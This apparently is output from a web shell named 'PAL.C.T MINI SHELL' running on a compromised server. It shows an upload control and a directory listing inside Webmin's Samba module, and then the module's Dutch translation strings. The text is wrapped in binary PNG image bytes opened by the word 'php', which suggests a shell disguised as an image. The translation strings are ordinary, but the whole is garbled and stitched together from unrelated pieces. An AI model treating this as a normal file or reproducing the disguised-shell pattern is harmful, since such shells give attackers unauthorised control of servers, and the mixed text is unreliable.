php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/nl

index_title=Samba Windows File Sharing
index_sharelist=share lijst
index_userlist=gebruiker lijst
index_fileshare=file share
index_printershare=printer deling
index_shareconf=share configuratie
index_version=Samba versie $1
index_samba=Samba

index_sharename=Gedeelde Naam
index_path=Pad
index_security=Beveiliging
index_homedir=Alle Home Directory's
index_allprinter=Alle Printers
index_printer=Printer
index_defaultprn=Standaard printer
index_printableto=Printen naar
index_prneveryone=Printen mogelijk naar iedereen
index_prnalluser=Printen mogelijk aan alle bekende gebruikers
index_rwpublic=Lezen/schrijven voor iedereen
index_readonly=Alleen lezen voor $1<br>Lezen/Schrijven aan alle andere bekende gebruikers
index_rwalluser=Lezen/schrijven voor alle bekende gebruikers
index_roeveryone=Alleen lezen voor iedereen
index_readwrite=Lezen/Schrijven voor $1<br>Alleen lezen voor alle andere bekende gebruikers
index_roalluser=Alleen lezen voor alle bekende gebruikers
index_noshares=Geen Samba shares gedefinieerd
index_createfileshare=Maak een nieuwe file share.
index_createprnshare=Maak een nieuwe printer share.
index_createcopy=Maak een nieuwe kopie.
index_view=Bekijk alle verbindingen.
index_start=Start Samba Servers
index_start_wb=Start Winbind Servers
index_startmsg=De Samba servers lijken niet te werken op uw systeem. Dit betekent dat de gedeelde zaken in de lijst hierboven niet toegankelijk zijn voor andere computers.
index_startmsg_wb=De Winbind servers lijken niet te werken op uw systeem.
index_restart=Herstart Samba Servers
index_restart_wb=Herstart Winbind Servers
index_restartmsg=Klik op deze knop om de lopende Samba servers op uw systeem te herstarten. Dit zal ervoor zorgen dat de huidige configuratie word toegevoegd.
index_restartmsg_wb=Klik op deze knop om de werkende Winbind servers te herstarten op uw systeem.
index_restartmsg2=Dit zal ook alle verbindingen met de server verbreken, dus indien u niet wilt dat de huidige configuratie direct word toegevoegd zult u 1 minuut moeten wachten totdat Samba de configuratie automatisch herlaad.
index_stop=Stop Samba Servers
index_stop_wb=Stop Winbind Servers
index_stopmsg=Klik op deze knop om de lopende Samba servers te stoppen op uw systeem. Alle huidige ingelogde gebruikers zullen geforceerd uitgelogd worden.
index_stopmsg_wb=Klik op deze knop om de werkende Winbind servers te stoppen op uw systeem.
index_einclude=Waarschuwing - Uw Samba configuratie file $1 bevat de $2 of $3 richtlijnen. Dit kan ervoor zorgen dat Webmin de file niet correct kan modificeren.
index_delete=Verwijder Geselecteerde Shares

config_mins=Min
config_secs=Seconden
config_bytes=Bytes
config_never=Nooit
config_all=Alles
config_neither=Niet één

global_title=Globale Configuratie
global_unixnetwork=Unix Netwerken
global_winnetwork=Windows Netwerken
global_auth=Authenticatie
global_printing=Windows naar Unix Printen
global_misc=Extra Opties
global_filedefault=File Share Standaarden
global_prndefault=Printer Share Standaarden
global_password=Versleutelde Wachtwoorden
global_users=Samba Gebruikers
global_group=Samba Groepen
global_bind=Winbind Opties

error_nosamba=De Samba server executable <tt>$1</tt> is niet gevonden. Of Samba is niet geinstalleerd op uw systeem of uw <a href="$2">module configuratie</a> is niet correct.
error_version=Webmin kon niet de versie van uw Samba server uitvoerbestand <tt>$1</tt> controleren. Controleer uw <a href="$2">module configuratie</a> om er zeker van te zijn dat het juiste pad gebruikt word.
error_config=De configuratie file $1 is niet gevonden. Waarschijnlijk is SAMBA niet geinstalleerd op uw systeem, of uw <a href="$2">module configuratie</a> is niet correct.
error_include=Webmin kan niet werken met Samba config files die de <tt>config</tt> of <tt>include</tt> richtlijnen gebruiken.
error_delshare=Mislukt om share te verwijderen
error_delcopy=De share '$1' gekopieerd van deze share
error_savename=Mislukt om de file benaming op te slaan

convert_title=Converteer Gebruikers
convert_msg=Met dit formulier kunt u de Unix en Samba gebruikers lijst synchroniseren. Wanneer Samba <a href=$1>versleutelde wachtwoorden</a> gebruikt, word er een aparte lijst met gebruikers en wachtwoorden gebruikt, in plaats van de systeem gebruikers lijst.
convert_noconv=Converteer en verwijder niet de volgende gebruikers :
convert_ncdesc=De lijst met gebruikers die niet geconverteerd word kan gebruikersnamen bevatten , UID's, groep's namen met het voorvoegsel <tt>@</tt>, of UID reeksen zoals <i>500-1000</i> of <i>500-</i>.
convert_update=Update bestaande Samba gebruikers met hun Unix details
convert_add=Toevoegen nieuwe Samba gebruiker van de Unix gebruikers lijst
convert_delete=Verwijder Samba gebruikers die niet bestaan bij Unix
convert_newuser=Voor nieuwe aangemaakte gebruikers, het wachtwoord instellen op :
convert_nopasswd=Geen wachtwoord
convert_lock=Account geblokkeerd
convert_passwd=Gebruik dit wachtwoord
convert_convert=Converteer Gebruikers
convert_cannot=Unix gebruikers kunnen niet worden geconverteerd naar Samba gebruikers
convert_who=Unix gebruikers om te converteren
convert_who0=Alleen gebruikers in lijst of in UID reeksen
convert_who1=Alle behalve gebruikers in lijst of in UID reeksen

misc_title=Extra Opties
misc_debug=Debug Niveau
misc_cachecall=Cache <tt>getwd()</tt> oproepen?
misc_lockdir=Zet directory op slot
misc_log=Log file
misc_maxlog=Max log grote
misc_rawread=Raw lezen toestaan?
misc_rawwrite=Raw schrijven toestaan?
misc_overlapread=Overlappende lees grote
misc_chroot=<tt>chroot()</tt> directory
misc_smbrun=Pad naar <tt>smbrun</tt>
misc_clienttime=Client tijd compensatie
misc_readprediction=Lezen voorspellen?

net_title=Unix Netwerk Opties
net_idle=Wacht tijd voordat word verbroken
net_trustlist=Vertrouwde hosts/gebruikers file
net_netinterface=Netwerk interfaces
net_auto=Automatisch
net_uselist=Gebruik lijst...
net_interface=Interface
net_netmask=Netmask
net_keepalive=In leven blijvende pakketten
net_notsend=Stuur helemaal niets
net_every=Stuur iedere
net_maxpacket=Maximum pakket grote
net_listen=Luister op adres
net_ip=IP adres
net_socket=Socket opties

passwd_title=Wachtwoord Opties
passwd_encrypt=Gebruik versleutelde wachtwoorden?
passwd_allownull=Sta geen gebruik van wachtwoorden toe?
passwd_program=Wachtwoord programma
passwd_case=Wachtwoord lettertype verschil
passwd_sync=Verander ook het Unix wachtwoord?
passwd_chat=Verander wachtwoord chat
passwd_below=In de lijst hieronder :
passwd_waitfor=Wacht op
passwd_send=Stuur
passwd_map=Gebruikersnaam mapping
passwd_unixuser=Unix Gebruikers
passwd_winuser=Windows gebruikers

print_title=Print Opties
print_style=Unix print stijl
print_show=Laat alle printers zien?
print_printcap=Printcap file
print_cachetime=Printer status deling tijd

smb_title=Windows Netwerk Opties
smb_workgroup=Werkgroep
smb_wins=WINS mode
smb_winsserver=WINS server zijn
smb_useserver=Gebruikers server
smb_description=Server omschrijving
smb_descriptionnone=Niets
smb_name=Server naam
smb_aliase=Server aliassen
smb_default=Standaard service
smb_show=Services altijd laten zien
smb_disksize=Max rapporterende harddisk grote
smb_unlimited=Ongelimiteerd
smb_winpopup=Winpopup opdracht
smb_priority=Hoofd browser prioriteit
smb_protocol=Hoogste protocol
smb_master=Hoofd browser?
smb_master_auto=Automatisch
smb_security=Beveiliging
smb_sharelevel=Deling niveau
smb_userlevel=Gebruikers niveau
smb_passwdserver=Wachtwoord server
smb_domain=Domein
smb_ads=Actieve directory
smb_announce=Remote aankondigen aan
smb_nowhere=Nergens
smb_fromlist=Van lijst...
smb_ip=IP Adres
smb_asworkgroup=<b>Als Werkgroep</b> (optioneel)

create_title=Maak Kopie
create_msg=Een gekopieerde share zal gelijk zijn met de standaard waardes van de share die u kiest. Indien de bron share verandert zal hetzelfde veranderen in de kopie.
create_from=Een gedeelde map om van te kopieren :
create_name=Nieuwe share naam :

smbuser_title=Samba Gebruikers
smbuser_list=Samba Gebruikers Lijst
smbuser_nouser=Geen Samba gebruikers gedefinieerd
smbuser_cannot=Samba gebruikers die niet in lijst gezet kunnen worden

euser_title=Bewerk Samba Gebruikers
euser_name=Gebruikersnaam
euser_uid=Unix UID
euser_passwd=Wachtwoord
euser_noaccess=Geen toegang
euser_nopw=Geen wachtwoord
euser_currpw=Huidig wachtwoord
euser_newpw=Nieuw wachtwoord
euser_realname=Echte naam
euser_homedir=Home directory
euser_shell=Shell
euser_option=Gebruiker opties
euser_normal=Normale gebruiker
euser_noexpire=Wachtwoord verloopt nooit
euser_locked=Account staat op slot
euser_nopwrequired=Geen wachtwoord nodig
euser_disable=Account uitgezet
euser_trust=Werkstation vertrouwt account

fmisc_title=Extra File Standaards
fmisc_for=Voor share <tt>$1</tt>
fmisc_lockfile=File op slot zetten doen?
fmisc_maxconn=Max verbindingen
fmisc_fake=Namaak oplocks?
fmisc_oplocks=Aanzetten oplocks?
fmisc_level2=Alleen lezen oplocks?
fmisc_sharemode=Gebruiker share modes?
fmisc_strict=Strikt sluiten?
fmisc_sync=Synchroniseren na schrijven?
fmisc_volume=Volume naam
fmisc_sameas=Zelfde als share
fmisc_unixdos=Unix-DOS file naam map
fmisc_conncmd=Opdracht om uit te voeren bij verbinden
fmisc_disconncmd=Opdracht om uit te voeren bij verbreken
fmisc_rootconn=Opdracht om uit te voeren bij verbinden <i>als root</i>
fmisc_rootdisconn=Opdracht om uit te voeren bij verbreken <i>als root</i>

fname_title1=File Naam Standaarden
fname_title2=Bewerk File Naam
fname_option=File Naam Opties
fname_manglecase=Mix Letters?
fname_case=Hoofdletter gevoelig?
fname_defaultcase=Standaard Letter?
fname_lower=Lager
fname_upper=Grote
fname_preserve=Voorbehouden Letter?
fname_shortpreserve=Korte Voorbehouden Letter?
fname_hide=Verstop files met punt ervoor?
fname_archive=Opslaan DOS archief flag?
fname_hidden=Opslaan DOS verstopte flag?
fname_system=Opslaan DOS systeem flag?

fperm_title1=File Permissie Standaarden
fperm_title2=Bewerk File Permissies
fperm_option=File Permissie Opties
fperm_filemode=Nieuwe Unix file mode
fperm_dirmode=Nieuwe Unix directory mode
fperm_notlist=Directory's niet voor de lijst
fperm_forceuser=Forceer Unix gebruiker
fperm_forcegrp=Forceer Unix groep
fperm_link=Toestaan van symlinks buiten de share?
fperm_delro=Mag de alleen lezen files verwijderen?
fperm_forcefile=Forceer Unix file mode
fperm_forcedir=Forceer Unix directory mode

share_title1=File Deling Standaarden
share_title2=Bewerk File Deling
share_title3=Maak File Deling
share_info=Deling Informatie
share_copy=Deze deling is een kopie van <i>$1</i>
share_name=Deling naam
share_home=Home Directory's Deling
share_dir=Directory voor deling
share_create=Automatisch directory maken?
share_owner=Maak met eigenaar
share_createperms=Maken met permissies
share_group=Maken met groep
share_available=Beschikbaar?
share_browseable=Doorzoekbaar?
share_comment=Deling Commentaar
share_view=Bekijk Verbindingen
share_option=Andere Deling Opties
share_security=Beveiliging en Toegang's Controle
share_permission=File Permissies
share_naming=File Benaming
share_misc=Extra Opties
share_samedesc1=Note - deze instellingen hebben ook effect voor de standaard instellingen van alle file delingen.
share_samedesc2=Note - deze instellingen hebben ook effect voor alle printer delingen.

print_title1=Printer Optie Standaards
print_title2=Bewerk Printer Opties
print_option=Printer Opties
print_minspace=Minimum vrije ruimte
print_postscript=Forceer postscript printen
print_command=Print opdracht
print_queue=Laat wachtrij opdracht zien
print_delete=Verwijder taak opdracht
print_pause=Pauze taak opdracht
print_unresume=Stoppen taak opdracht
print_driver=Printer driver

pshare_title1=Printer Deling Standaarden
pshare_title2=Bewerk Printer Deling
pshare_title3=Maak Printer Deling
pshare_info=Deling Informatie
pshare_name=Deling naam
pshare_all=Alle Gedeelde Printers
pshare_unixprn=Unix Printer
pshare_spool=Spoel directory

sec_index1=Beveiliging Standaarden
sec_index2=Bewerk Beveiliging
sec_writable=Beschrijfbaar?
sec_guest=Gast Toegang?
sec_guestonly=Alleen gast
sec_guestaccount=Gast Unix gebruiker
sec_limit=Beperk tot mogelijke lijst?
sec_allowhost=Hosts om toe te staan
sec_onlyallow=Alleen toestaan
sec_denyhost=Hosts om te negeren
sec_onlydeny=Alleen negeren
sec_revalidate=Herstel gebruikers?
sec_validuser=Geldige gebruikers
sec_validgroup=Geldige groepen
sec_invaliduser=Ongeldige gebruiker
sec_invalidgroup=Ongeldige groepen
sec_possibleuser=Mogelijke gebruikers
sec_possiblegroup=Mogelijke groepen
sec_rouser=Alleen lezen gebruikers
sec_rogroup=Alleen lezen groepen
sec_rwuser=Lees/schrijf gebruikers
sec_rwgroup=Lees/schrijf groepen

esync_title=Gebruikers Synchronisatie
esync_msg=Webmin kan zo geconfigureerd worden dat de veranderingen bij de Unix gebruikers lijst automatisch worden bijgewerkt bij de Samba gebruikers lijst. Dit zal alleen goed werken indien de <b>Gebruikers en Groepen</b> Webmin module word gebruikt om toe te voegen, verwijderen of veranderen van gebruikers.
esync_add=Voeg een Samba gebruiker toe indien er een Unix gebruiker word toegevoegd
esync_chg=Verander de Samba gebruiker wanneer een Unix gebruiker is verandert
esync_del=Verwijder de Samba gebruiker wanneer een Unix gebruiker word verwijderd
esync_del_profile=Verwijder zwervende profiel wanneer de Unix gebruiker word verwijderd
esync_chg_profile=Hernoem het zwervende profiel wanneer de Unix gebruiker word hernoemd
esync_gid=Groep SID of RID voor nieuwe gebruikers
esync_apply=Toevoegen
esync_cannot=Gebruiker synchronisatie kan niet worden geconfigureerd
esync_egid=Ontbrekende groep SID of RID

mkpass_title=Converteer Gebruikers
mkpass_convfail=Mislukt om gebruiker te converteren
mkpass_msg=Unix gebruikers converteren ...
mkpass_skip=Overgeslagen
mkpass_same=Is reeds hetzelfde
mkpass_update=Ge-update
mkpass_added=Toegevoegd
mkpass_del=Verwijderd
mkpass_passfail=Mislukt om wachtwoord in te stellen
mkpass_user=Gebruikersnaam
mkpass_action=Ondernomen actie
mkpass_skipcount=$1 gebruikers zijn overgeslagen voor conversie.

savecopy_fail=Mislukt om een kopie te maken
savecopy_global=De naam 'global' kan niet gebruikt worden voor een share
savecopy_exist=Een deling met de naam '$1' bestaat reeds
savecopy_ename=Geen deling naam ingevuld

saveuser_fail=Mislukt om gebruiker op te slaan
saveuser_uid='$1' is geen geldige Unix UID
saveuser_colon=In de echte naam mag niet het volgende karakter zitten :
saveuser_home=De home directory '$1' bestaat niet
saveuser_shell=$1 is geen geldige shell
saveuser_pass=Mislukt om het wachtwoord te veranderen met gebruik van smbpasswd : $1
saveuser_ews=Het 'Werkstation vertrouwde account' optie kan niet worden aangezet voor bestaande gebruikers

savefmisc_fail=Mislukt om extra opties op te slaan
savefmisc_number='$1' is geen geldig aantal verbindingen

savefperm_fail=Mislukt om file permissies op te slaan
savefperm_mode='$1' is geen geldige Unix file mode

savefshare_fail=Mislukt om deling op te slaan
savefshare_nopath=Geen pad ingevuld
savefshare_exist=Een deling met de naam '$1' bestaat reeds
savefshare_mode='$1' is geen geldige deling naam
savefshare_global=De naam 'global' kan niet gebruikt worden voor een deling
savefshare_owner=Ontbrekende of ongeldige eigenaar voor de nieuwe directory
savefshare_group=Ontbrekende of ongeldige groep voor nieuwe directory
savefshare_perms=Ontbrekende of ongeldige permissies voor nieuwe directory

savemisc_fail=Mislukt om opties op te slaan
savemisc_lockdir=De directory die de "lock directory" moet bevatten bestaat niet
savemisc_logdir=De directory die de log file moet bevatten bestaat niet
savemisc_logsize='$1' is geen geldige log grote
savemisc_overlap='$1' is geen geldige overlappende lees grote
savemisc_chroot=De chroot directory '$1' bestaat niet
savemisc_smbrun=Het smbrun program '$1' bestaat niet of is niet uitvoerbaar
savemisc_time='$1' is geen geldige tijd compensatie

savenet_fail=Mislukt om opties op te slaan
savenet_timeout='$1' is geen geldige time-out voor verbreken verbinding
savenet_ip='$1' is geen geldige IP byte
savenet_keep='$1' is geen geldige blijf-in-leven interval
savenet_maxxmit='$1' is geen geldige maximum pakket grote

savepass_fail=Mislukt om opties op te slaan
savepass_nopass=Uw versie van Samba ondersteund geen versleutelde wachtwoorden
savepass_passwd=Geen programma opgegeven om wachtwoorden te veranderen
savepass_level='$1' is geen geldige waarde voor verschil in grote/kleine letters van het wachtwoord
savepass_chat=De verander het wachtwoord chat opeenvolging is leeg

savepopts_fail=Mislukt om printer opties op te slaan
savepopts_number=Minimum vrije ruimte moet een getal zijn

saveprint_fail=Mislukt om opties op te slaan
saveprint_printcap=De printcap file '$1' bestaat niet
saveprint_cache='$1' is geen geldige deling tijd

savepshare_fail=Mislukt om printer deling op te slaan
savepshare_exist=Een deling met de naam '$1' bestaat reeds
savepshare_name='$1' is geen geldige deling naam
savepshare_global=De naam 'global' kan niet gebruikt worden voor een deling

savesec_fail=Mislukt om de Beveiliging op te slaan

savesmb_fail=Mislukt om opties op te slaan
savesmb_size='$1' is geen geldige harddisk grote
savesmb_oslevel='$1' is geen geldige master browser prioriteit
savesmb_server=U moet een wachtwoord server invullen

start_err=Mislukt om Samba servers te starten
start_fail=$1 mislukt
start_err_wb=Mislukt om de Winbind servers te starten

restart_err=Mislukt om Samba servers te herstarten
restart_err_wb=Mislukt om de Winbind servers te herstarten

swats_fail=Mislukt om gebruikersnaam op te slaan
swats_user=Ontbrekende SWAT gebruikersnaam

viewu_index=Huidige Gebruikers
viewu_list=Huidige gebruikers van $1
viewu_share=Deling
viewu_user=Gebruiker
viewu_group=Groep
viewu_from=Verbonden van
viewu_time=Verbonden op
viewu_pid=Proces ID
viewu_msg1=Klik op een proces ID in de lijst hierboven om de verbinding van die gebruiker te verbreken.
viewu_msg2=Er zijn op dit moment geen gebruikers verbonden
viewu_locks=Open files
viewu_none=Geen
viewu_ecmd=Het Samba status programma $1 lijkt niet te zijn geinstalleerd op uw systeem. Misschien is de <a href='$2'>module configuratie</a> niet correct.
viewu_kill=Verbreek Geselecteerde Gebruikers
viewu_enone=Geen gebruikers geselecteerd
viewu_refresh=Ververs de pagina.

log_apply=Opnieuw gestarte Samba servers
log_apply_wb=Opnieuw gestarte Winbind servers
log_stop=Gestopte Samba servers
log_stop_wb=Gestopten Winbind servers
log_start=Gestarte Samba servers
log_start_wb=Gestarte Winbind servers
log_save_fshare=Gemodificeerde file deling $1
log_save_pshare=Gemodificeerde printer deling $1
log_save_sec=Gemodificeerde beveiliging en toegang's controle voor deling $1
log_save_fperm=Gemodificeerde file permissies voor deling $1
log_save_fname=Gemodificeerde file naam voor deling $1
log_save_fmisc=Gemodificeerde extra opties voor deling $1
log_save_popts=Gemodificeerde printer opties voor deling $1
log_default_fshare=Gemaakte file deling standaarden
log_default_pshare=Veranderde printer deling standaarden
log_kill=Verbroken proces $1
log_skill=Verbroken proces $1 van deling $2
log_kills=Verbroken $1 processen
log_skills=Verbroken $1 processen van deling $2
log_create_fshare=Gemaakte file deling $1
log_create_pshare=Gemaakte printer deling $1
log_delete_fshare=Verwijderde file deling $1
log_delete_pshare=Verwijderde printer deling $1
log_delete_shares=Verwijderde $1 delingen
log_net=Veranderde Unix netwerk opties
log_smb=Veranderde Windows netwerk opties
log_pass=Veranderde authenticatie opties
log_print=Veranderde Windows naar Unix print opties
log_misc=Veranderde extra opties
log_bind=Gewijzigde Winbind opties
log_sync=Geconfigureerde Unix gebruiker synchronisatie
log_epass=Geconverteerde Unix gebruikers naar Samba gebruikers
log_epass_l=Converteer Unix gebruikers naar Samba gebruikers ($1 gemaakt, $2 gemodificeerd, $3 verwijdert)
log_copy=Kopieer de share $2 naar $1
log_save_euser=Gemodificeerde Samba gebruiker $1
log_delete_euser=Verwijderde Samba gebruiker $1
log_create_group=Gemaakte Samba groep $1
log_modify_group=Gemodificeerde Samba groep $1
log_delete_group=Verwijderde Samba groep $1
log_gsync=Geconfigureerde Unix groep synchronisatie
log_manual=Handmatig bewerkte config file $1

swat_title=SWAT Login
swat_list=SWAT Login
swat_msg1=Uw huidige SWAT gebruikersnaam en wachtwoord zijn incorrect. Gebruik het formulier hieronder om opnieuw in te loggen.
swat_msg2=Een gebruikersnaam en wachtwoord zijn nodig om in te loggen bij SWAT. Dit kan normaal gesproken iedere gebruiker zijn op uw systeem.
swat_msg3=U kunt niet SWAT uitvoeren via Webmin, indien uw Samba configuratie de <tt>$1:...</tt> (toegestane hosts) optie actief is gezet.
swat_msg4=Daarentegen kunt u wel direct met SWAT verbinden via $1
swat_username=Gebruikersnaam
swat_password=Wachtwoord
swat_login=Login
swat_clear=Opruimen
swat_logout=Uitloggen bij SWAT

eacl_aviol=Toegang controle schending
eacl_np=U heeft geen toestemming om
eacl_papply=herstart deze service
eacl_pcn=bewerk Unix netwerk opties
eacl_pcs=bewerk smb netwerk opties
eacl_pcp=bewerk wachtwoord opties
eacl_pcprint=bewerk print opties
eacl_pcm=Bewerk extra opties
eacl_pcswat=gebruik SWAT
eacl_pcopy=kopieer shares
eacl_pconn_all=bekijk alle verbindingen
eacl_pconn=bekijk de verbindingen voor deze share
eacl_pgkill=kill verbindingen
eacl_pkill=kill deze verbinding
eacl_pus=update share
eacl_pcrs=maak een share
eacl_pds=verwijder share
eacl_pusec=update beveiliging en toegang controle opties voor deze share
eacl_pufperm=update file permissie opties voor deze share
eacl_pufname=update file benaming opties voor deze share
eacl_pufmisc=update extra opties voor deze share
eacl_pupopt=update printer opties voor deze share
eacl_pmpass=initialiseer SAMBA gebruikers database
eacl_pmsync=onderhoud UNIX-SAMBA gebruikers synchronisatie
eacl_pmusers=onderhoud SAMBA gebruikers
eacl_pvusers=toegang SAMBA gebruikers
eacl_pvfmisc=toegang extra opties voor deze share
eacl_pvfname=toegang file benaming opties voor deze share
eacl_pvperm=toegang file permissie opties voor deze share
eacl_pvsec=toegang beveiliging en toegang controle opties voor deze share
eacl_pvpopt=toegang printer opties voor deze share
eacl_pafs=toegang tot deze file share
eacl_paps=toegang tot deze gedeelde printer
eacl_pcps=maak gedeelde printer
eacl_pcfs=maak een gedeelde file

acl_apply=Mag veranderingen toevoegen en Samba stoppen?
acl_view_all_con=Mag alle verbindingen bekijken?
acl_kill_con=Mag verbindingen verwijderen?
acl_conf_net=Mag UNIX netwerk opties configureren?
acl_conf_smb=Mag Windows netwerk opties configureren?
acl_conf_pass=Mag authenticatie opties configureren?
acl_conf_print=Mag printer opties configureren?
acl_conf_misc=Mag extra opties configureren?
acl_swat=Mag SWAT gebruiken?
acl_manual=Mag handmatig config file bewerken?
acl_enc_passwd_opts=Versleutelde wachtwoord opties
acl_view_users=Mag de SAMBA gebruikers database bekijken?
acl_maint_users=Mag SAMBA gebruikers bewerken?
acl_maint_makepass=Mag UNIX gebruikers naar SAMBA gebruikers converteren?
acl_maint_sync=Mag auto UNIX naar SAMBA gebruikers sync onderhouden?
acl_hide=Verstop niet toegankelijke objecten?
acl_c=maak
acl_r=lees
acl_w=schrijf
acl_afs=Toegang gedeelde files
acl_aps=Toegang gedeelde printers
acl_copy=Mag gedeelde zaken kopiëren?
acl_per_fs_acls=Aanzetten per-gedeelde-file acls?
acl_per_ps_acls=Aanzetten per-print-file acls?
acl_per_share_acls=Per-gedeelde ACLs...
acl_ernow=Indien u schrijf toegang in globale ACLs wilt aanzetten voor sommige objecten, moet u ook de lees toegang aanzetten voor dit object type.
acl_sname=Gedeelde naam
acl_saccess=Toegang gedeelde zaken
acl_sconn=verbindingen
acl_sopthdr=Gedeelde opties
acl_ssec=beveiliging
acl_sperm=Permissies
acl_snaming=file benaming
acl_smisc=Extra
acl_sprn=of printer
acl_na=n/a
acl_r1=alleen lezen
acl_rw=lees en schrijf
acl_view=bekijk
acl_kill=kill
acl_edit=bewerk
acl_group_opts=Samba groep opties
acl_maint_groups=Mag groepen bekijken, bewerken en toevoegen?
acl_maint_gsync=Mag auto UNIX naar SAMBA groepen sync onderhouden?
acl_winbind=Mag bind naar domeinen?

groups_title=Samba Groepen
groups_name=Groep naam
groups_unix=Unix groep
groups_nounix=Geen
groups_type=Type
groups_type_d=Domein groepen
groups_type_b=NT ingebouwd
groups_type_l=Locale groepen
groups_type_u=Onbekend
groups_sid=SID
groups_none=Er zijn nog geen Samba groepen gedefinieerd.
groups_return=groepen lijst
groups_add=Toevoegen nieuwe Samba groep.
groups_ecannot=U bent niet bevoegd om Samba groepen te bekijken of te bewerken
groups_cannot=Samba groepen kunnen niet in lijst gezet worden

gedit_title2=Bewerk Samba Groep
gedit_title1=Maak Samba Groep
gedit_header=Samba groep details
gedit_name=Groep naam
gedit_type=Groep type
gedit_sid=Groep SID
gedit_desc=Omschrijving
gedit_priv=Privileges
gedit_unix=Unix groep
gedit_unixgr=Groep ..
gedit_none=Geen
gedit_set=In Lijst ..

gsave_err=Mislukt om groep op te slaan
gsave_eunix=Ontbrekende of ongeldige Unix groep naam of GID
gsave_ename=Ontbrekende groep naam
gsave_epriv=Ontbrekende groep privileges
gsave_elocal=Privileges kunnen alleen ingesteld worden voor locale groepen

gsync_title=Groep Synchronisatie
gsync_msg=Webmin kan zo geconfigureerd worden dan veranderingen aan de Unix groeps lijst automatisch word toegevoegd aan de Samba groep lijst. Dit zal alleen werken wanneer de <b>Gebruikers en Groepen</b> Webmin module word gebruikt om toe te voegen, te verwijderen en het veranderen van groepen.
gsync_add=Voeg een Samba groep toe wanneer een Unix groep word toegevoegd
gsync_chg=Verander de Samba groep wanneer een Unix groep is veranderd
gsync_del=Verwijder de Samba groep wanneer een Unix groep word verwijderd
gsync_apply=Toevoegen
gsync_type=Type van nieuwe groepen
gsync_priv=Privileges voor nieuwe groepen (indien lokaal)
gsync_ecannot=U bent niet bevoegd om de groep synchronisatie te configureren
gsync_cannot=Groep synchronisatie kan niet worden geconfigureerd

check_user1=$1 : Versleutelde wachtwoorden zijn niet aangezet op de <a href='$2'>Authenticatie</a> pagina.
check_user2=$1 : Noch de Samba wachtwoord file of het pad naar pdbedit is ingesteld op de <a href='$2'>Module Configuratie</a> pagina.
check_group1=$1 : Groepen worden alleen ondersteund in Samba versie 3.
check_group2=$1 : Noch het pad naar smbgroupedit of de net opdracht is ingesteld op de <a href='$2'>Module Configuratie</a> pagina.

winbind_title=Bind aan Domein
winbind_ecannot=U bent niet bevoegd om bind voor domeinen te maken
winbind_msg=Dit formulier kan gebruikt worden om uw Samba server te binden aan een Windows domein, typisch geleid door een andere server
winbind_header=Bind aan een Windows domein
winbind_user=Bind als gebruiker
winbind_dom=Bind naar domein
winbind_save=Bind Nu
winbind_default=Domein van Samba configuratie
winbind_pass=Gebruikers wachtwoord
winbind_err=Mislukt om te binden aan domein
winbind_euser=Ontbrekende gebruikersnaam
winbind_edom=Ontbrekende domein naam
winbind_cmd=Binding aan domein met de opdracht $1 ..
winbind_failed=.. mislukt! Bekijk de foutmelding hierboven waarom.
winbind_ok=.. compleet.

bind_title=Winbind Opties
bind_ecannot=U bent niet bevoegd om winbind opties te bewerken
bind_header=Windows domein binding opties
bind_local=Aanzetten Winbind voor locale accounts?
bind_trust=Vertrouw domein server gebruikers?
bind_users=Niet toestaan om lijsten te maken van gebruikers?
bind_groups=Niet toestaan om lijsten te maken van groepen?
bind_defaultdomain=Altijd het standaard domein gebruiken?
bind_realm=Kerberos realm op domein server
bind_cache=Seconden om gebruikers details te cachen voor
bind_uid=Reeks van UID's voor Windows gebruikers
bind_gid=Reeks van GID's voor Windows groepen
bind_backend=LDAP backend voor account mapping
bind_err=Mislukt om winbind opties op te slaan
bind_erealm=Ongeldige Kerberos realm
bind_ecache=Ontbrekende of ongeldige cache tijd
bind_euid=Ongeldige UID reeks - dit moet lijken op 20000-30000
bind_egid=Ongeldige GID reeks - dit moet lijken op 20000-30000

manual_title=Bewerk Config File
manual_desc=Bewerken van Samba configuratie file $1 ..
manual_err=Mislukt om config file op te slaan
manual_edata=Niets ingevuld!

delete_err=Mislukt om gedeelde zaken te verwijderen
delete_enone=Niets geselecteerd
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`